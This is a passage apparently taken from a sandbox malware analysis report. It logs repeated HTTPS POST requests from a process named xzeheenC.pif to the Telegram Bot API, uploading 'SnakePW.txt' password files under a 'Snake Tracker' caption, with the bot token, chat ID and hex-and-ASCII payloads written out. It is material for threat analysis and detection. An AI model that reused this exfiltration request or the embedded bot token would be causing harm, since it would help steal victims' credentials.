{"ok":true,"result":{"message_id":418990,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535120,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50074	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:39 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2799595f15e7 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:39 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 37 39 39 35 39 35 66 31 35 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2799595f15e7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:40 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:40 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418991,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535120,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50080	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:41 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2461846d9172 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:41 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 34 36 31 38 34 36 64 39 31 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2461846d9172Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:41 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:41 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418994,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535121,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50081	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:41 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2480fc2e3ffd Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:41 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 34 38 30 66 63 32 65 33 66 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2480fc2e3ffdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:42 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:42 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418996,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535122,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50082	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:41 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2813e0605d29 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:41 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 38 31 33 65 30 36 30 35 64 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2813e0605d29Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:42 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:42 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418997,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535122,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50087	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:43 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd24f1d8f190ea Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:43 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 34 66 31 64 38 66 31 39 30 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd24f1d8f190eaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:43 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:43 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419000,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535123,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50089	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:43 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd25151bda7f10 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:43 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 35 31 35 31 62 64 61 37 66 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd25151bda7f10Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:44 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:44 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419002,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535124,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50090	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:44 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd28b07a2e3bf6 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:44 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 38 62 30 37 61 32 65 33 62 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd28b07a2e3bf6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:44 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:45 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419004,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535124,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50094	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:45 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2541c39c92aa Host: api.telegram.org Content-Length: 535
